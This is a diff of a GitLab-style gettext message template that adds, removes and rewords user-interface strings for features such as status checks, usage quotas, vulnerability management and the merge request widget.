@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
